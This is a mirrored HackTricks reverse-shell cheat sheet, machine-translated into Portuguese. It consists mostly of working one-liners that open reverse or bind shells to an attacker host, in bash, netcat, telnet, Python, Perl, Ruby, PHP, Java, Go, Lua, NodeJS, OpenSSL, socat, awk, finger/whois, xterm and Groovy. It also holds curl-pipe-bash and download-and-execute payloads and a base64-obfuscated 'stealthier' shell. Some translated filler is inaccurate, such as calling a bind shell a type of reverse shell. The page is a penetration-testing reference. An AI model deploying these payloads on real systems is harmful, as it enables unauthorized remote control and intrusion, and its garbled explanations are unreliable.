Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-12-18 17:16:10 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/generic-methodologies-and-resources/shells/linux.md
Translator workflow c928d8e52e Translated to Portuguese
2023-06-06 18:56:34 +00:00

23 KiB
Raw Blame History

Shells - Linux

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Se você tiver dúvidas sobre qualquer um desses shells, você pode verificá-los com https://explainshell.com/

TTY Completo

Uma vez que você obtenha um shell reverso leia esta página para obter um TTY completo.

Bash | sh

curl https://reverse-shell.sh/1.1.1.1:3000 | bash
bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1
bash -i >& /dev/udp/127.0.0.1/4242 0>&1 #UDP
0<&196;exec 196<>/dev/tcp/<ATTACKER-IP>/<PORT>; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5; done

#Short and bypass (credits to Dikline)
(sh)0>/dev/tcp/10.10.10.10/9091
#after getting the previous shell to get the output to execute
exec >&0

Shell seguro para símbolos

#If you need a more stable connection do:
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'

#Stealthier method
#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0
echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null

Explicação do Shell

  1. bash -i: Esta parte do comando inicia um shell interativo (-i) do Bash.
  2. >&: Esta parte do comando é uma notação abreviada para redirecionar tanto a saída padrão (stdout) quanto o erro padrão (stderr) para o mesmo destino.
  3. /dev/tcp/<IP-DO-ATAQUE>/<PORTA>: Este é um arquivo especial que representa uma conexão TCP com o endereço IP e porta especificados.
    • Ao redirecionar as saídas de saída e erro para este arquivo, o comando envia efetivamente a saída da sessão do shell interativo para a máquina do atacante.
  4. 0>&1: Esta parte do comando redireciona a entrada padrão (stdin) para o mesmo destino que a saída padrão (stdout).

Criar em arquivo e executar

echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh

Shell Avançado

Pode acontecer de você encontrar casos em que tenha um RCE em um aplicativo da web em uma máquina Linux, mas devido a regras do Iptables ou outros tipos de filtragem, você não pode obter um shell reverso. Este "shell" permite que você mantenha um shell PTY através desse RCE usando pipes dentro do sistema da vítima.
Você pode encontrar o código em https://github.com/IppSec/forward-shell

Você só precisa modificar:

  • A URL do host vulnerável
  • O prefixo e sufixo da sua carga útil (se houver)
  • A maneira como a carga útil é enviada (cabeçalhos? dados? informações extras?)

Então, você pode apenas enviar comandos ou até mesmo usar o comando upgrade para obter um PTY completo (observe que os pipes são lidos e escritos com um atraso aproximado de 1,3 segundos).

Netcat

nc -e /bin/sh <ATTACKER-IP> <PORT>
nc <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER-IP> <PORT> >/tmp/f
nc <ATTACKER-IP> <PORT1>| /bin/bash | nc <ATTACKER-IP> <PORT2>
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc <ATTACKER-IP> <PORT> 1>/tmp/bkpipe

gsocket

Verifique em https://www.gsocket.io/deploy/

bash -c "$(curl -fsSL gsocket.io/x)"

Telnet

Telnet é um protocolo de rede que permite a comunicação com outro computador através da internet ou de uma rede local. Ele é frequentemente usado para acessar um shell remoto em um servidor ou dispositivo de rede. No entanto, o Telnet não é seguro, pois as informações são transmitidas em texto simples, o que significa que senhas e outras informações confidenciais podem ser facilmente interceptadas por um invasor. Por esse motivo, é recomendável usar o SSH em vez do Telnet para acessar shells remotos.

telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
telnet <ATTACKER-IP> <PORT> | /bin/bash | telnet <ATTACKER-IP> <PORT>
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-IP> <PORT> 1>/tmp/bkpipe

Whois

Atacante

while true; do nc -l <port>; done

Para enviar o comando, escreva-o, pressione enter e pressione CTRL+D (para parar STDIN)

Vítima

export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done

Python

Python é uma linguagem de programação de alto nível, interpretada e orientada a objetos. É amplamente utilizada em hacking devido à sua facilidade de uso e grande quantidade de bibliotecas disponíveis. Além disso, muitas ferramentas de hacking são escritas em Python.

Algumas das bibliotecas mais populares para hacking em Python incluem:

  • Requests: uma biblioteca para fazer solicitações HTTP em Python.
  • BeautifulSoup: uma biblioteca para analisar HTML e XML.
  • Scapy: uma biblioteca para interagir com pacotes de rede.
  • Paramiko: uma biblioteca para interagir com servidores SSH.
  • Selenium: uma biblioteca para automatizar a interação com navegadores da web.

Python também é frequentemente usado para escrever scripts de automação de tarefas repetitivas, como varreduras de portas e testes de penetração. Além disso, muitas ferramentas de hacking populares, como o Metasploit Framework, usam Python como uma de suas linguagens de programação principais.

#Linux
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
#IPv6
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'

Perl

Perl é uma linguagem de programação interpretada de propósito geral, originalmente desenvolvida para manipulação de texto. É uma linguagem de alto nível, dinâmica e flexível, frequentemente usada em scripts de automação e em desenvolvimento web. Perl é uma das linguagens mais populares para scripts de hacking, devido à sua capacidade de manipular facilmente arquivos e strings. Além disso, muitas ferramentas de hacking populares, como o Metasploit Framework, são escritas em Perl.

perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Ruby

Ruby é uma linguagem de programação dinâmica, orientada a objetos e de propósito geral. É frequentemente usada para desenvolvimento web e scripting. O Ruby é conhecido por sua sintaxe simples e elegante, o que torna a escrita de código mais fácil e agradável. Além disso, o Ruby tem uma grande comunidade de desenvolvedores que criam bibliotecas e frameworks úteis para uma variedade de aplicações.

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

PHP

PHP é uma linguagem de script de código aberto amplamente utilizada para desenvolvimento web. É executada no lado do servidor e pode ser usada para criar sites dinâmicos e interativos. O PHP é compatível com a maioria dos servidores web e sistemas operacionais, tornando-o uma escolha popular para desenvolvedores web. Além disso, o PHP possui uma grande comunidade de desenvolvedores que criam bibliotecas e frameworks para facilitar o desenvolvimento de aplicativos web.

// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
// Using this method may lead to instances where the connection reaches out to the listener and then closes.
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

// Using 'proc_open' makes no assumptions about what the file descriptor will be.
// See https://security.stackexchange.com/a/198944 for more information
<?php $sock=fsockopen("10.0.0.1",1234);$proc=proc_open("/bin/sh -i",array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>

<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>

Java

Java é uma linguagem de programação popular usada para desenvolver aplicativos em várias plataformas. É frequentemente usado em aplicativos corporativos e em desenvolvimento de software para a web. Os hackers podem explorar vulnerabilidades em aplicativos Java para obter acesso não autorizado a sistemas e dados sensíveis. Algumas técnicas comuns de hacking em Java incluem a injeção de código malicioso em aplicativos Java, a exploração de vulnerabilidades de segurança em bibliotecas Java e a engenharia reversa de aplicativos Java para encontrar vulnerabilidades. É importante manter o software Java atualizado e implementar práticas de segurança adequadas para proteger contra ataques de hackers.

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Ncat

Ncat é uma ferramenta de linha de comando que permite a criação de conexões TCP/IP seguras e confiáveis. Ele pode ser usado para transferir arquivos, redirecionar portas, criar backdoors e muito mais. O Ncat é uma ferramenta muito útil para hackers, pois permite a comunicação segura entre máquinas comprometidas e o atacante. Além disso, o Ncat é uma ferramenta multiplataforma, o que significa que pode ser executado em vários sistemas operacionais, incluindo Windows, Linux e macOS.

victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl
attacker> ncat -v 10.0.0.22 4444 --ssl

Golang

Golang é uma linguagem de programação de código aberto criada pelo Google em 2007. É uma linguagem compilada, concorrente e eficiente em termos de memória, projetada para lidar com a complexidade e a escalabilidade de aplicativos modernos. Golang é frequentemente usada para desenvolver aplicativos de rede, serviços da web, ferramentas de linha de comando e muito mais. Além disso, é uma linguagem popular para desenvolvimento de sistemas distribuídos e computação em nuvem.

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

Lua

Lua é uma linguagem de programação leve, rápida e fácil de aprender. É frequentemente usada em jogos, aplicativos móveis e outras aplicações que exigem desempenho e flexibilidade. Lua é uma linguagem interpretada, o que significa que o código é executado diretamente pelo interpretador, sem a necessidade de compilação prévia. Isso torna a linguagem muito flexível e fácil de usar em uma ampla variedade de plataformas e sistemas operacionais. Além disso, Lua é altamente extensível, permitindo que os usuários adicionem facilmente novas funcionalidades e recursos à linguagem.

#Linux
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
#Windows & Linux
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

NodeJS

NodeJS é uma plataforma de desenvolvimento de aplicações em JavaScript que permite a execução de código JavaScript no lado do servidor. Ele é amplamente utilizado para construir aplicações web escaláveis e de alta performance. Além disso, o NodeJS possui uma vasta biblioteca de módulos que podem ser facilmente integrados em projetos.

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(8080, "10.17.26.64", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();


or

require('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')
require('child_process').exec("bash -c 'bash -i >& /dev/tcp/10.10.14.2/6767 0>&1'")

or

-var x = global.process.mainModule.require
-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')

or

// If you get to the constructor of a function you can define and execute another function inside a string
"".sub.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
"".__proto__.constructor.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()


or

// Abuse this syntax to get a reverse shell
var fs = this.process.binding('fs');
var fs = process.binding('fs');

or

https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py

OpenSSL

O Atacante (Kali)

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response

O Alvo

#Linux
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>

#Windows
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>

Socat

https://github.com/andrew-d/static-binaries

Shell de Bind

Um shell de bind é um tipo de shell reverso que permite que um invasor se conecte a uma máquina remota através de uma porta específica. O socat é uma ferramenta que pode ser usada para criar um shell de bind. Para criar um shell de bind, primeiro é necessário escolher uma porta que não esteja sendo usada e, em seguida, executar o seguinte comando:

socat TCP-L:<port> EXEC:/bin/bash

Isso criará um shell de bind na porta especificada. O invasor pode se conectar a essa porta usando o seguinte comando:

socat TCP:<ip_address>:<port> -

Isso permitirá que o invasor se conecte ao shell de bind e execute comandos na máquina remota.

victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337

Shell reverso

attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane

Awk

Awk é uma ferramenta de linha de comando que permite processar e manipular dados em arquivos de texto. Ele é especialmente útil para extrair informações específicas de arquivos de log e outros tipos de arquivos de texto.

O comando básico do awk é o seguinte:

awk '{pattern + action}' file

Onde pattern é uma expressão regular que define o padrão a ser procurado no arquivo e action é o comando a ser executado quando o padrão é encontrado. Por exemplo, o seguinte comando awk imprime todas as linhas do arquivo que contêm a palavra "error":

awk '/error/ {print}' file

O awk também permite a manipulação de campos em arquivos de texto. Por padrão, o awk divide cada linha em campos separados por espaços em branco. Os campos podem ser acessados usando a variável $n, onde n é o número do campo. Por exemplo, o seguinte comando awk imprime o primeiro e o terceiro campo de cada linha do arquivo:

awk '{print $1, $3}' file

O awk também suporta operações matemáticas e lógicas, bem como loops e condicionais. Isso o torna uma ferramenta poderosa para a manipulação de dados em arquivos de texto.

awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

Finger

Atacante

while true; do nc -l 79; done

Para enviar o comando, escreva-o, pressione enter e pressione CTRL+D (para parar STDIN)

Vítima

export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null')`; sleep 1; done

export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done

Gawk

Gawk é uma ferramenta de processamento de texto que permite a manipulação de dados em arquivos de texto. Ele é especialmente útil para a extração de informações específicas de arquivos de log e outras fontes de dados. O Gawk é uma versão aprimorada do awk, que é uma ferramenta de processamento de texto padrão em sistemas Unix. O Gawk oferece recursos adicionais, como expressões regulares avançadas e funções incorporadas, que o tornam uma ferramenta poderosa para a análise de dados. Ele pode ser usado para filtrar, classificar, agrupar e transformar dados em arquivos de texto. O Gawk também pode ser usado para criar scripts de processamento de dados complexos e automatizar tarefas de rotina.

#!/usr/bin/gawk -f

BEGIN {
        Port    =       8080
        Prompt  =       "bkd> "

        Service = "/inet/tcp/" Port "/0/0"
        while (1) {
                do {
                        printf Prompt |& Service
                        Service |& getline cmd
                        if (cmd) {
                                while ((cmd |& getline) > 0)
                                        print $0 |& Service
                                close(cmd)
                        }
                } while (cmd != "exit")
                close(Service)
        }
}

Xterm

Uma das formas mais simples de shell reverso é uma sessão xterm. O seguinte comando deve ser executado no servidor. Ele tentará se conectar de volta a você (10.0.0.1) na porta TCP 6001.

xterm -display 10.0.0.1:1

Para capturar o xterm de entrada, inicie um servidor X (:1 - que escuta na porta TCP 6001). Uma maneira de fazer isso é com o Xnest (a ser executado em seu sistema):

Xnest :1

Você precisará autorizar o alvo a se conectar a você (o comando também é executado em seu host):

xhost +targetip

Groovy

por frohoff NOTA: O shell reverso de Java também funciona para Groovy.

String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Bibliografia

{% embed url="https://highon.coffee/blog/reverse-shell-cheat-sheet/" %}

{% embed url="http://pentestmonkey.net/cheat-sheet/shells/reverse-shell" %}

{% embed url="https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/" %}

{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥